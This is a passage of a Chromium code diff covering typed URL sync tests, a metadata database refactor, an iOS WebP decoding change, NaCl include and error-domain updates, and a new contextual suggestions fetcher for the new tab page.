+      MakeTypedUrlRow(kURL, kTitle, 2, 3, false, &expected_visits5));
+  URLRow new_row5((GURL(kURL)));
+  std::vector<VisitInfo> new_visits5;
+
+  // UPDATE_NODE should be set because row5 has a newer last_visit timestamp.
+  EXPECT_EQ(TypedURLSyncBridgeTest::DIFF_UPDATE_NODE |
+                TypedURLSyncBridgeTest::DIFF_NONE,
+            TypedURLSyncBridgeTest::MergeUrls(specs5, row5, &visits5, &new_row5,
+                                              &new_visits5));
+  EXPECT_TRUE(URLsEqual(new_row5, expected5));
+  EXPECT_EQ(0U, new_visits5.size());
+}
+
+// Tests to ensure that we don't resurrect expired URLs (URLs that have been
+// deleted from the history DB but still exist in the sync DB).
+TEST_F(TypedURLSyncBridgeTest, MergeUrlsAfterExpiration) {
+  // First, create a history row that has two visits, with timestamps 2 and 3.
+  VisitVector(history_visits);
+  history_visits.push_back(VisitRow(0, base::Time::FromInternalValue(2), 0,
+                                    ui::PAGE_TRANSITION_TYPED, 0));
+  URLRow history_url(
+      MakeTypedUrlRow(kURL, kTitle, 2, 3, false, &history_visits));
+
+  // Now, create a sync node with visits at timestamps 1, 2, 3, 4.
+  sync_pb::TypedUrlSpecifics node(
+      MakeTypedUrlSpecifics(kURL, kTitle, 1, false));
+  node.add_visits(2);
+  node.add_visits(3);
+  node.add_visits(4);
+  node.add_visit_transitions(2);
+  node.add_visit_transitions(3);
+  node.add_visit_transitions(4);
+  URLRow new_history_url(history_url.url());
+  std::vector<VisitInfo> new_visits;
+  EXPECT_EQ(
+      TypedURLSyncBridgeTest::DIFF_NONE |
+          TypedURLSyncBridgeTest::DIFF_LOCAL_VISITS_ADDED,
+      TypedURLSyncBridgeTest::MergeUrls(node, history_url, &history_visits,
+                                        &new_history_url, &new_visits));
+  EXPECT_TRUE(URLsEqual(history_url, new_history_url));
+  EXPECT_EQ(1U, new_visits.size());
+  EXPECT_EQ(4U, new_visits[0].first.ToInternalValue());
+  // We should not sync the visit with timestamp #1 since it is earlier than
+  // any other visit for this URL in the history DB. But we should sync visit
+  // #4.
+  EXPECT_EQ(3U, history_visits.size());
+  EXPECT_EQ(2U, history_visits[0].visit_time.ToInternalValue());
+  EXPECT_EQ(3U, history_visits[1].visit_time.ToInternalValue());
+  EXPECT_EQ(4U, history_visits[2].visit_time.ToInternalValue());
+}
+
+// Create a local typed URL with one expired TYPED visit,
+// MergeSyncData should not pass it to sync. And then add a non
+// expired visit, OnURLsModified should only send the non expired visit to sync.
+TEST_F(TypedURLSyncBridgeTest, LocalExpiredTypedUrlDoNotSync) {
+  URLRow row;
+  URLRows changed_urls;
+  VisitVector visits;
+
+  // Add an expired typed URL to local.
+  row = MakeTypedUrlRow(kURL, kTitle, 1, kExpiredVisit, false, &visits);
+  fake_history_backend_->SetVisitsForUrl(row, visits);
+
+  StartSyncing(std::vector<TypedUrlSpecifics>());
+
+  // Check change processor did not receive expired typed URL.
+  const auto& changes_multimap = processor().put_multimap();
+  ASSERT_EQ(0U, changes_multimap.size());
+
+  // Add a non expired typed URL to local.
+  row = MakeTypedUrlRow(kURL, kTitle, 2, 1, false, &visits);
+  fake_history_backend_->SetVisitsForUrl(row, visits);
+
+  changed_urls.push_back(row);
+  // Notify typed url sync service of the update.
+  bridge()->OnURLsModified(fake_history_backend_.get(), changed_urls);
+
+  // Check change processor did not receive expired typed URL.
+  ASSERT_EQ(1U, changes_multimap.size());
+
+  // Get typed url specifics. Verify only a non-expired visit received.
+  sync_pb::TypedUrlSpecifics url_specifics = GetLastUpdateForURL(kURL);
+
+  EXPECT_TRUE(URLsEqual(row, url_specifics));
+  ASSERT_EQ(1, url_specifics.visits_size());
+  ASSERT_EQ(static_cast<const int>(visits.size() - 1),
+            url_specifics.visits_size());
+  EXPECT_EQ(visits[1].visit_time.ToInternalValue(), url_specifics.visits(0));
+  EXPECT_EQ(static_cast<const int>(visits[1].transition),
+            url_specifics.visit_transitions(0));
+}
+
 }  // namespace history
diff --git a/components/history/core/browser/typed_url_sync_metadata_database.cc b/components/history/core/browser/typed_url_sync_metadata_database.cc
index 81e9da0..f216e89 100644
--- a/components/history/core/browser/typed_url_sync_metadata_database.cc
+++ b/components/history/core/browser/typed_url_sync_metadata_database.cc
@@ -6,7 +6,6 @@
 
 #include "base/big_endian.h"
 #include "base/logging.h"
-#include "components/history/core/browser/url_row.h"
 #include "sql/statement.h"
 
 namespace history {
@@ -55,16 +54,10 @@
   DCHECK_EQ(model_type, syncer::TYPED_URLS)
       << "Only the TYPED_URLS model type is supported";
 
-  int64_t storage_key_int = 0;
-  DCHECK_EQ(storage_key.size(), sizeof(storage_key_int));
-  base::ReadBigEndian(storage_key.data(), &storage_key_int);
-  // Make sure storage_key_int is set.
-  DCHECK_NE(storage_key_int, 0);
-
   sql::Statement s(GetDB().GetUniqueStatement(
       "INSERT OR REPLACE INTO typed_url_sync_metadata "
       "(storage_key, value) VALUES(?, ?)"));
-  s.BindInt64(0, storage_key_int);
+  s.BindInt64(0, StorageKeyToURLID(storage_key));
   s.BindString(1, metadata.SerializeAsString());
 
   return s.Run();
@@ -76,15 +69,9 @@
   DCHECK_EQ(model_type, syncer::TYPED_URLS)
       << "Only the TYPED_URLS model type is supported";
 
-  int64_t storage_key_int = 0;
-  DCHECK_EQ(storage_key.size(), sizeof(storage_key_int));
-  base::ReadBigEndian(storage_key.data(), &storage_key_int);
-  // Make sure storage_key_int is set.
-  DCHECK_NE(storage_key_int, 0);
-
   sql::Statement s(GetDB().GetUniqueStatement(
       "DELETE FROM typed_url_sync_metadata WHERE storage_key=?"));
-  s.BindInt64(0, storage_key_int);
+  s.BindInt64(0, StorageKeyToURLID(storage_key));
 
   return s.Run();
 }
@@ -108,6 +95,17 @@
   return GetMetaTable().DeleteKey(kTypedURLModelTypeStateKey);
 }
 
+// static
+URLID TypedURLSyncMetadataDatabase::StorageKeyToURLID(
+    const std::string& storage_key) {
+  URLID storage_key_int = 0;
+  DCHECK_EQ(storage_key.size(), sizeof(storage_key_int));
+  base::ReadBigEndian(storage_key.data(), &storage_key_int);
+  // Make sure storage_key_int is set.
+  DCHECK_NE(storage_key_int, 0);
+  return storage_key_int;
+}
+
 bool TypedURLSyncMetadataDatabase::InitSyncTable() {
   if (!GetDB().DoesTableExist("typed_url_sync_metadata")) {
     if (!GetDB().Execute("CREATE TABLE typed_url_sync_metadata ("
diff --git a/components/history/core/browser/typed_url_sync_metadata_database.h b/components/history/core/browser/typed_url_sync_metadata_database.h
index 6967f486..a48548c 100644
--- a/components/history/core/browser/typed_url_sync_metadata_database.h
+++ b/components/history/core/browser/typed_url_sync_metadata_database.h
@@ -6,6 +6,7 @@
 #define COMPONENTS_HISTORY_CORE_BROWSER_TYPED_URL_SYNC_METADATA_DATABASE_H_
 
 #include "base/macros.h"
+#include "components/history/core/browser/url_row.h"
 #include "components/sync/base/model_type.h"
 #include "components/sync/model/metadata_batch.h"
 #include "components/sync/model/sync_metadata_store.h"
@@ -43,6 +44,8 @@
       const sync_pb::ModelTypeState& model_type_state) override;
   bool ClearModelTypeState(syncer::ModelType model_type) override;
 
+  static URLID StorageKeyToURLID(const std::string& storage_key);
+
  protected:
   // Returns the database for the functions in this interface.
   virtual sql::Connection& GetDB() = 0;
diff --git a/components/image_fetcher/ios/ios_image_decoder_impl.mm b/components/image_fetcher/ios/ios_image_decoder_impl.mm
index ba32199..38edf0b 100644
--- a/components/image_fetcher/ios/ios_image_decoder_impl.mm
+++ b/components/image_fetcher/ios/ios_image_decoder_impl.mm
@@ -66,16 +66,20 @@
 
   // The WebP image format is not supported by iOS natively. Therefore WebP
   // images need to be decoded explicitly,
+  NSData* (^decodeBlock)();
   if (webp_transcode::WebpDecoder::IsWebpImage(image_data)) {
-    base::PostTaskAndReplyWithResult(
-        task_runner_.get(), FROM_HERE, base::BindBlockArc(^NSData*() {
-          return webp_transcode::WebpDecoder::DecodeWebpImage(data);
-        }),
-        base::Bind(&IOSImageDecoderImpl::CreateUIImageAndRunCallback,
-                   weak_factory_.GetWeakPtr(), callback));
+    decodeBlock = ^NSData*() {
+      return webp_transcode::WebpDecoder::DecodeWebpImage(data);
+    };
   } else {
-    CreateUIImageAndRunCallback(callback, data);
+    // Use block to prevent |data| from being released.
+    decodeBlock = ^NSData*() { return data; };
   }
+
+  base::PostTaskAndReplyWithResult(
+      task_runner_.get(), FROM_HERE, base::BindBlockArc(decodeBlock),
+      base::Bind(&IOSImageDecoderImpl::CreateUIImageAndRunCallback,
+                 weak_factory_.GetWeakPtr(), callback));
 }
 
 void IOSImageDecoderImpl::CreateUIImageAndRunCallback(
diff --git a/components/nacl/loader/BUILD.gn b/components/nacl/loader/BUILD.gn
index 1eea0cea..eef2cb0 100644
--- a/components/nacl/loader/BUILD.gn
+++ b/components/nacl/loader/BUILD.gn
@@ -51,7 +51,7 @@
 source_set("minimal_content_dummy") {
   check_includes = false
   sources = [
-    "//content/public/child/child_process_sandbox_support_linux.h",
+    "//content/public/common/common_sandbox_support_linux.h",
     "//content/public/common/main_function_params.h",
     "//content/public/common/sandbox_init.h",
   ]
@@ -68,7 +68,6 @@
   ]
   deps = [
     "//components/nacl/common",
-    "//content/public/child",
     "//content/public/common",
     "//ppapi/shared_impl",
     "//services/service_manager/public/cpp",
diff --git a/components/nacl/loader/DEPS b/components/nacl/loader/DEPS
index 292ab67..134e343 100644
--- a/components/nacl/loader/DEPS
+++ b/components/nacl/loader/DEPS
@@ -2,7 +2,6 @@
   "+components/nacl",
   "+content/public/app/sandbox_helper_win.h",
   "+content/public/common",
-  "+content/public/child",
   "+crypto",
   "+sandbox/linux/bpf_dsl",
   "+sandbox/linux/seccomp-bpf",
diff --git a/components/nacl/loader/nacl_listener.cc b/components/nacl/loader/nacl_listener.cc
index 713d1edf..fa2c47ad 100644
--- a/components/nacl/loader/nacl_listener.cc
+++ b/components/nacl/loader/nacl_listener.cc
@@ -42,7 +42,7 @@
 #include "services/service_manager/public/cpp/service_context.h"
 
 #if defined(OS_LINUX)
-#include "content/public/child/child_process_sandbox_support_linux.h"
+#include "content/public/common/common_sandbox_support_linux.h"
 #endif
 
 #if defined(OS_WIN)
diff --git a/components/nacl/renderer/file_downloader.cc b/components/nacl/renderer/file_downloader.cc
index 322f215..16a534d 100644
--- a/components/nacl/renderer/file_downloader.cc
+++ b/components/nacl/renderer/file_downloader.cc
@@ -74,7 +74,7 @@
 
 void FileDownloader::DidFail(const blink::WebURLError& error) {
   status_ = FAILED;
-  if (error.domain.Equals(blink::WebString::FromUTF8(net::kErrorDomain))) {
+  if (error.domain == blink::WebURLError::Domain::kNet) {
     switch (error.reason) {
       case net::ERR_ACCESS_DENIED:
       case net::ERR_NETWORK_ACCESS_DENIED:
diff --git a/components/nacl/renderer/manifest_downloader.cc b/components/nacl/renderer/manifest_downloader.cc
index 8248021..c3e0633 100644
--- a/components/nacl/renderer/manifest_downloader.cc
+++ b/components/nacl/renderer/manifest_downloader.cc
@@ -71,7 +71,7 @@
 void ManifestDownloader::DidFail(const blink::WebURLError& error) {
   // TODO(teravest): Find a place to share this code with PepperURLLoaderHost.
   pp_nacl_error_ = PP_NACL_ERROR_MANIFEST_LOAD_URL;
-  if (error.domain.Equals(blink::WebString::FromUTF8(net::kErrorDomain))) {
+  if (error.domain == blink::WebURLError::Domain::kNet) {
     switch (error.reason) {
       case net::ERR_ACCESS_DENIED:
       case net::ERR_NETWORK_ACCESS_DENIED:
diff --git a/components/ntp_snippets/BUILD.gn b/components/ntp_snippets/BUILD.gn
index d783ae7..f4a39de 100644
--- a/components/ntp_snippets/BUILD.gn
+++ b/components/ntp_snippets/BUILD.gn
@@ -64,6 +64,8 @@
     "remote/cached_image_fetcher.h",
     "remote/contextual_json_request.cc",
     "remote/contextual_json_request.h",
+    "remote/contextual_suggestions_fetcher.cc",
+    "remote/contextual_suggestions_fetcher.h",
     "remote/json_request.cc",
     "remote/json_request.h",
     "remote/json_to_categories.cc",
@@ -177,6 +179,7 @@
     "reading_list/reading_list_suggestions_provider_unittest.cc",
     "remote/cached_image_fetcher_unittest.cc",
     "remote/contextual_json_request_unittest.cc",
+    "remote/contextual_suggestions_fetcher_unittest.cc",
     "remote/json_request_unittest.cc",
     "remote/prefetched_pages_tracker_impl_unittest.cc",
     "remote/remote_suggestion_unittest.cc",
diff --git a/components/ntp_snippets/category.h b/components/ntp_snippets/category.h
index f3e54cb..d35ccd7 100644
--- a/components/ntp_snippets/category.h
+++ b/components/ntp_snippets/category.h
@@ -37,6 +37,9 @@
   // Pages from the user reading list.
   READING_LIST,
 
+  // Contextual suggestion.
+  CONTEXTUAL,
+
   // ****************** INSERT NEW LOCAL CATEGORIES HERE! ******************
   // Existing categories are persisted and they must never be removed. This may
   // happen implicitly, e.g. when an older version without some local category
diff --git a/components/ntp_snippets/category_rankers/constant_category_ranker.cc b/components/ntp_snippets/category_rankers/constant_category_ranker.cc
index d68fe9104..c7ab47d 100644
--- a/components/ntp_snippets/category_rankers/constant_category_ranker.cc
+++ b/components/ntp_snippets/category_rankers/constant_category_ranker.cc
@@ -118,6 +118,9 @@
   std::vector<KnownCategories> categories;
   CategoryOrderChoice choice = GetSelectedCategoryOrder();
   switch (choice) {
+    // All categories must be present. An exception is
+    // KnownCategories::CONTEXTUAL because it is not handled by
+    // ContentSuggestionsService.
     case CategoryOrderChoice::GENERAL:
       categories.push_back(KnownCategories::PHYSICAL_WEB_PAGES);
       categories.push_back(KnownCategories::READING_LIST);
@@ -140,8 +143,10 @@
   }
 
   static_assert(
-      static_cast<size_t>(KnownCategories::LOCAL_CATEGORIES_COUNT) == 6,
-      "All local KnownCategories must be present in all orders.");
+      static_cast<size_t>(KnownCategories::LOCAL_CATEGORIES_COUNT) == 7,
+      "Number of local categories has changed, please update "
+      "ConstantCategoryRanker::GetKnownCategoriesDefaultOrder to list all "
+      "local KnownCategories for all orders.");
 
   // Other remote categories will be ordered after these depending on when
   // providers notify us about them using AppendCategoryIfNecessary.
diff --git a/components/ntp_snippets/content_suggestions_metrics.cc b/components/ntp_snippets/content_suggestions_metrics.cc
index 3be66f2a..7a93eb4 100644
--- a/components/ntp_snippets/content_suggestions_metrics.cc
+++ b/components/ntp_snippets/content_suggestions_metrics.cc
@@ -79,6 +79,7 @@
   ARTICLES,
   READING_LIST,
   BREAKING_NEWS,
+  CONTEXTUAL,
   // Insert new values here!
   COUNT
 };
@@ -110,6 +111,8 @@
       return HistogramCategories::READING_LIST;
     case KnownCategories::BREAKING_NEWS:
       return HistogramCategories::BREAKING_NEWS;
+    case KnownCategories::CONTEXTUAL:
+      return HistogramCategories::CONTEXTUAL;
     case KnownCategories::LOCAL_CATEGORIES_COUNT:
     case KnownCategories::REMOTE_CATEGORIES_OFFSET:
       NOTREACHED();
@@ -142,6 +145,8 @@
       return "ReadingList";
     case HistogramCategories::BREAKING_NEWS:
       return "BreakingNews";
+    case HistogramCategories::CONTEXTUAL:
+      return "Contextual";
     case HistogramCategories::COUNT:
       NOTREACHED();
       break;
diff --git a/components/ntp_snippets/remote/contextual_suggestions_fetcher.cc b/components/ntp_snippets/remote/contextual_suggestions_fetcher.cc
new file mode 100644
index 0000000..dcc7b38c
--- /dev/null
+++ b/components/ntp_snippets/remote/contextual_suggestions_fetcher.cc
@@ -0,0 +1,303 @@
+// Copyright 2017 The Chromium Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include "components/ntp_snippets/remote/contextual_suggestions_fetcher.h"
+
+#include "base/memory/ptr_util.h"
+#include "base/strings/stringprintf.h"
+#include "base/strings/utf_string_conversions.h"
+#include "base/time/default_clock.h"
+#include "base/time/time.h"
+#include "base/values.h"
+#include "components/ntp_snippets/category.h"
+#include "components/signin/core/browser/access_token_fetcher.h"
+#include "components/strings/grit/components_strings.h"
+#include "net/url_request/url_fetcher.h"
+#include "net/url_request/url_request_status.h"
+#include "ui/base/l10n/l10n_util.h"
+
+using net::HttpRequestHeaders;
+using net::URLFetcher;
+using net::URLRequestContextGetter;
+
+namespace ntp_snippets {
+
+using internal::ContextualJsonRequest;
+using internal::FetchResult;
+
+namespace {
+
+const char kContentSuggestionsApiScope[] =
+    "https://www.googleapis.com/auth/chrome-content-suggestions";
+const char kAuthorizationRequestHeaderFormat[] = "Bearer %s";
+
+std::string FetchResultToString(FetchResult result) {
+  switch (result) {
+    case FetchResult::SUCCESS:
+      return "OK";
+    case FetchResult::URL_REQUEST_STATUS_ERROR:
+      return "URLRequestStatus error";
+    case FetchResult::HTTP_ERROR:
+      return "HTTP error";
+    case FetchResult::JSON_PARSE_ERROR:
+      return "Received invalid JSON";
+    case FetchResult::INVALID_SNIPPET_CONTENT_ERROR:
+      return "Invalid / empty list.";
+    case FetchResult::OAUTH_TOKEN_ERROR:
+      return "Error in obtaining an OAuth2 access token.";
+    case FetchResult::MISSING_API_KEY:
+      return "No API key available.";
+    case FetchResult::RESULT_MAX:
+      break;
+  }
+  NOTREACHED();
+  return "Unknown error";
+}
+
+Status FetchResultToStatus(FetchResult result) {
+  switch (result) {
+    case FetchResult::SUCCESS:
+      return Status::Success();
+    // Permanent errors occur if it is more likely that the error originated
+    // from the client.
+    case FetchResult::OAUTH_TOKEN_ERROR:
+    case FetchResult::MISSING_API_KEY:
+      return Status(StatusCode::PERMANENT_ERROR, FetchResultToString(result));
+    // Temporary errors occur if it's more likely that the client behaved
+    // correctly but the server failed to respond as expected.
+    // TODO(fhorschig): Revisit HTTP_ERROR once the rescheduling was reworked.
+    case FetchResult::HTTP_ERROR:
+    case FetchResult::URL_REQUEST_STATUS_ERROR:
+    case FetchResult::INVALID_SNIPPET_CONTENT_ERROR:
+    case FetchResult::JSON_PARSE_ERROR:
+      return Status(StatusCode::TEMPORARY_ERROR, FetchResultToString(result));
+    case FetchResult::RESULT_MAX:
+      break;
+  }
+  NOTREACHED();
+  return Status(StatusCode::PERMANENT_ERROR, std::string());
+}
+
+std::string GetFetchEndpoint() {
+  return "https://alpha-chromecontentsuggestions-pa.sandbox.googleapis.com/v1"
+         "/publicdebate"
+         "/getsuggestions";
+}
+
+// Creates suggestions from dictionary values in |list| and adds them to
+// |suggestions|. Returns true on success, false if anything went wrong.
+bool AddSuggestionsFromListValue(bool content_suggestions_api,
+                                 const base::ListValue& list,
+                                 RemoteSuggestion::PtrVector* suggestions) {
+  for (const auto& value : list) {
+    const base::DictionaryValue* dict = nullptr;
+    if (!value.GetAsDictionary(&dict)) {
+      return false;
+    }
+
+    std::string s;
+    dict->GetAsString(&s);
+    DVLOG(1) << "AddSuggestionsFromListValue " << s;
+    std::unique_ptr<RemoteSuggestion> suggestion =
+        RemoteSuggestion::CreateFromContextualSuggestionsDictionary(*dict);
+    suggestions->push_back(std::move(suggestion));
+  }
+  return true;
+}
+
+}  // namespace
+
+ContextualSuggestionsFetcher::ContextualSuggestionsFetcher(
+    SigninManagerBase* signin_manager,
+    OAuth2TokenService* token_service,
+    scoped_refptr<URLRequestContextGetter> url_request_context_getter,
+    PrefService* pref_service,
+    const ParseJSONCallback& parse_json_callback)
+    : signin_manager_(signin_manager),
+      token_service_(token_service),
+      url_request_context_getter_(std::move(url_request_context_getter)),
+      parse_json_callback_(parse_json_callback),
+      fetch_url_(GetFetchEndpoint()) {}
+
+ContextualSuggestionsFetcher::~ContextualSuggestionsFetcher() = default;
+
+const std::string& ContextualSuggestionsFetcher::GetLastStatusForTesting()
+    const {
+  return last_status_;
+}
+const std::string& ContextualSuggestionsFetcher::GetLastJsonForTesting() const {
+  return last_fetch_json_;
+}
+const GURL& ContextualSuggestionsFetcher::GetFetchUrlForTesting() const {
+  return fetch_url_;
+}
+
+void ContextualSuggestionsFetcher::FetchContextualSuggestions(
+    const GURL& url,
+    SuggestionsAvailableCallback callback) {
+  ContextualJsonRequest::Builder builder;
+  builder.SetParseJsonCallback(parse_json_callback_)
+      .SetUrlRequestContextGetter(url_request_context_getter_)
+      .SetContentUrl(url);
+
+  pending_requests_.emplace(std::move(builder), std::move(callback));
+  StartTokenRequest();
+}
+
+void ContextualSuggestionsFetcher::StartRequest(
+    ContextualJsonRequest::Builder builder,
+    SuggestionsAvailableCallback callback,
+    const std::string& oauth_access_token) {
+  builder.SetUrl(fetch_url_)
+      .SetAuthentication(signin_manager_->GetAuthenticatedAccountId(),
+                         base::StringPrintf(kAuthorizationRequestHeaderFormat,
+                                            oauth_access_token.c_str()));
+  DVLOG(0) << "ContextualSuggestionsFetcher::StartRequest";
+  std::unique_ptr<ContextualJsonRequest> request = builder.Build();
+  ContextualJsonRequest* raw_request = request.get();
+  raw_request->Start(base::BindOnce(
+      &ContextualSuggestionsFetcher::JsonRequestDone, base::Unretained(this),
+      std::move(request), std::move(callback)));
+}
+
+void ContextualSuggestionsFetcher::StartTokenRequest() {
+  // If there is already an ongoing token request, just wait for that.
+  if (token_fetcher_) {
+    return;
+  }
+
+  OAuth2TokenService::ScopeSet scopes{kContentSuggestionsApiScope};
+  token_fetcher_ = base::MakeUnique<AccessTokenFetcher>(
+      "ntp_snippets", signin_manager_, token_service_, scopes,
+      base::BindOnce(&ContextualSuggestionsFetcher::AccessTokenFetchFinished,
+                     base::Unretained(this)));
+}
+
+void ContextualSuggestionsFetcher::AccessTokenFetchFinished(
+    const GoogleServiceAuthError& error,
+    const std::string& access_token) {
+  // Delete the fetcher only after we leave this method (which is called from
+  // the fetcher itself).
+  DCHECK(token_fetcher_);
+  std::unique_ptr<AccessTokenFetcher> token_fetcher_deleter(
+      std::move(token_fetcher_));
+
+  if (error.state() != GoogleServiceAuthError::NONE) {
+    AccessTokenError(error);
+    return;
+  }
+
+  DCHECK(!access_token.empty());
+
+  while (!pending_requests_.empty()) {
+    std::pair<ContextualJsonRequest::Builder, SuggestionsAvailableCallback>
+        builder_and_callback = std::move(pending_requests_.front());
+    pending_requests_.pop();
+    StartRequest(std::move(builder_and_callback.first),
+                 std::move(builder_and_callback.second), access_token);
+  }
+}
+
+void ContextualSuggestionsFetcher::AccessTokenError(
+    const GoogleServiceAuthError& error) {
+  DCHECK_NE(error.state(), GoogleServiceAuthError::NONE);
+
+  LOG(WARNING) << "ContextualSuggestionsFetcher::AccessTokenError "
+                  "Unable to get token: "
+               << error.ToString();
+
+  while (!pending_requests_.empty()) {
+    std::pair<ContextualJsonRequest::Builder, SuggestionsAvailableCallback>
+        builder_and_callback = std::move(pending_requests_.front());
+
+    FetchFinished(OptionalSuggestions(), std::move(builder_and_callback.second),
+                  FetchResult::OAUTH_TOKEN_ERROR,
+                  /*error_details=*/
+                  base::StringPrintf(" (%s)", error.ToString().c_str()));
+    pending_requests_.pop();
+  }
+}
+
+void ContextualSuggestionsFetcher::JsonRequestDone(
+    std::unique_ptr<ContextualJsonRequest> request,
+    SuggestionsAvailableCallback callback,
+    std::unique_ptr<base::Value> result,
+    FetchResult status_code,
+    const std::string& error_details) {
+  DCHECK(request);
+
+  DVLOG(0) << "ContextualSuggestionsFetcher::JsonRequestDone status_code="
+           << static_cast<int>(status_code)
+           << " error_details=" << error_details;
+  last_fetch_json_ = request->GetResponseString();
+
+  // TODO(gaschler): Add UMA metrics for fetch duration of the request
+
+  if (!result) {
+    FetchFinished(OptionalSuggestions(), std::move(callback), status_code,
+                  error_details);
+    return;
+  }
+
+  OptionalSuggestions optional_suggestions = RemoteSuggestion::PtrVector();
+  if (!JsonToSuggestions(*result, &optional_suggestions.value())) {
+    DLOG(WARNING) << "Received invalid suggestions: " << last_fetch_json_;
+    FetchFinished(OptionalSuggestions(), std::move(callback),
+                  FetchResult::INVALID_SNIPPET_CONTENT_ERROR, std::string());
+    return;
+  }
+
+  FetchFinished(std::move(optional_suggestions), std::move(callback),
+                FetchResult::SUCCESS, std::string());
+}
+
+void ContextualSuggestionsFetcher::FetchFinished(
+    OptionalSuggestions optional_suggestions,
+    SuggestionsAvailableCallback callback,
+    FetchResult fetch_result,
+    const std::string& error_details) {
+  DCHECK(fetch_result == FetchResult::SUCCESS ||
+         !optional_suggestions.has_value());
+
+  last_status_ = FetchResultToString(fetch_result) + error_details;
+
+  DVLOG(1) << "Fetch finished: " << last_status_;
+
+  std::move(callback).Run(FetchResultToStatus(fetch_result),
+                          std::move(optional_suggestions));
+}
+
+bool ContextualSuggestionsFetcher::JsonToSuggestions(
+    const base::Value& parsed,
+    RemoteSuggestion::PtrVector* suggestions) {
+  const base::DictionaryValue* top_dict = nullptr;
+  if (!parsed.GetAsDictionary(&top_dict)) {
+    return false;
+  }
+
+  const base::ListValue* categories_value = nullptr;
+  if (!top_dict->GetList("categories", &categories_value)) {
+    return false;
+  }
+
+  for (const auto& v : *categories_value) {
+    const base::DictionaryValue* category_value = nullptr;
+    if (!(v.GetAsDictionary(&category_value))) {
+      return false;
+    }
+
+    const base::ListValue* suggestions_list = nullptr;
+    // Absence of a list of suggestions is treated as an empty list, which
+    // is permissible.
+    if (category_value->GetList("suggestions", &suggestions_list)) {
+      if (!AddSuggestionsFromListValue(true, *suggestions_list, suggestions)) {
+        return false;
+      }
+    }
+  }
+
+  return true;
+}
+
+}  // namespace ntp_snippets
diff --git a/components/ntp_snippets/remote/contextual_suggestions_fetcher.h b/components/ntp_snippets/remote/contextual_suggestions_fetcher.h
new file mode 100644
index 0000000..77511c8
--- /dev/null
+++ b/components/ntp_snippets/remote/contextual_suggestions_fetcher.h
@@ -0,0 +1,110 @@
+// Copyright 2017 The Chromium Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#ifndef COMPONENTS_NTP_SNIPPETS_REMOTE_CONTEXTUAL_SUGGESTIONS_FETCHER_H_
+#define COMPONENTS_NTP_SNIPPETS_REMOTE_CONTEXTUAL_SUGGESTIONS_FETCHER_H_
+
+#include <memory>
+#include <queue>
+#include <string>
+#include <vector>
+
+#include "base/callback.h"
+#include "base/optional.h"
+#include "base/time/clock.h"
+#include "components/ntp_snippets/category.h"
+#include "components/ntp_snippets/category_info.h"
+#include "components/ntp_snippets/remote/contextual_json_request.h"
+#include "components/ntp_snippets/remote/remote_suggestion.h"
+#include "components/ntp_snippets/status.h"
+#include "net/url_request/url_request_context_getter.h"
+
+class AccessTokenFetcher;
+class OAuth2TokenService;
+class PrefService;
+class SigninManagerBase;
+
+namespace ntp_snippets {
+
+// Fetches contextual suggestions for the NTP from the server.
+// TODO(gaschler): Move authentication that is in common with
+// RemoteSuggestionsFetcher to a helper class.
+class ContextualSuggestionsFetcher {
+ public:
+  using OptionalSuggestions = base::Optional<RemoteSuggestion::PtrVector>;
+
+  // If fetching fails, the base::Optional will not contain a suggestions
+  // vector.
+  using SuggestionsAvailableCallback =
+      base::OnceCallback<void(Status status,
+                              OptionalSuggestions fetched_suggestions)>;
+
+  ContextualSuggestionsFetcher(
+      SigninManagerBase* signin_manager,
+      OAuth2TokenService* token_service,
+      scoped_refptr<net::URLRequestContextGetter> url_request_context_getter,
+      PrefService* pref_service,
+      const ParseJSONCallback& parse_json_callback);
+  ~ContextualSuggestionsFetcher();
+
+  void FetchContextualSuggestions(const GURL& url,
+                                  SuggestionsAvailableCallback callback);
+
+  const std::string& GetLastStatusForTesting() const;
+  const std::string& GetLastJsonForTesting() const;
+  const GURL& GetFetchUrlForTesting() const;
+
+ private:
+  void StartRequest(internal::ContextualJsonRequest::Builder builder,
+                    SuggestionsAvailableCallback callback,
+                    const std::string& oauth_access_token);
+
+  void StartTokenRequest();
+
+  void AccessTokenFetchFinished(const GoogleServiceAuthError& error,
+                                const std::string& access_token);
+  void AccessTokenError(const GoogleServiceAuthError& error);
+
+  void JsonRequestDone(std::unique_ptr<internal::ContextualJsonRequest> request,
+                       SuggestionsAvailableCallback callback,
+                       std::unique_ptr<base::Value> result,
+                       internal::FetchResult status_code,
+                       const std::string& error_details);
+  void FetchFinished(OptionalSuggestions optional_suggestions,
+                     SuggestionsAvailableCallback callback,
+                     internal::FetchResult status_code,
+                     const std::string& error_details);
+
+  bool JsonToSuggestions(const base::Value& parsed,
+                         RemoteSuggestion::PtrVector* suggestions);
+
+  // Authentication for signed-in users.
+  SigninManagerBase* signin_manager_;
+  OAuth2TokenService* token_service_;
+
+  std::unique_ptr<AccessTokenFetcher> token_fetcher_;
+
+  // Holds the URL request context.
+  scoped_refptr<net::URLRequestContextGetter> url_request_context_getter_;
+
+  // Stores requests that wait for an access token.
+  std::queue<std::pair<internal::ContextualJsonRequest::Builder,
+                       SuggestionsAvailableCallback>>
+      pending_requests_;
+
+  const ParseJSONCallback parse_json_callback_;
+
+  // API endpoint for fetching contextual suggestions.
+  const GURL fetch_url_;
+
+  // Info on the last finished fetch.
+  std::string last_status_;
+  std::string last_fetch_json_;
+
+  DISALLOW_COPY_AND_ASSIGN(ContextualSuggestionsFetcher);
+};
+
+}  // namespace ntp_snippets
+
+#endif  // COMPONENTS_NTP_SNIPPETS_REMOTE_CONTEXTUAL_SUGGESTIONS_FETCHER_H_
diff --git a/components/ntp_snippets/remote/contextual_suggestions_fetcher_unittest.cc b/components/ntp_snippets/remote/contextual_suggestions_fetcher_unittest.cc
new file mode 100644
index 0000000..32f8456
--- /dev/null
+++ b/components/ntp_snippets/remote/contextual_suggestions_fetcher_unittest.cc
@@ -0,0 +1,267 @@
+// Copyright 2017 The Chromium Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include "components/ntp_snippets/remote/contextual_suggestions_fetcher.h"
+
+#include <utility>
+#include <vector>
+
+#include "base/json/json_reader.h"
+#include "base/memory/ptr_util.h"
+#include "base/optional.h"
+#include "base/test/test_mock_time_task_runner.h"
+#include "base/threading/thread_task_runner_handle.h"
+#include "base/values.h"
+#include "components/ntp_snippets/category.h"
+#include "components/ntp_snippets/remote/test_utils.h"
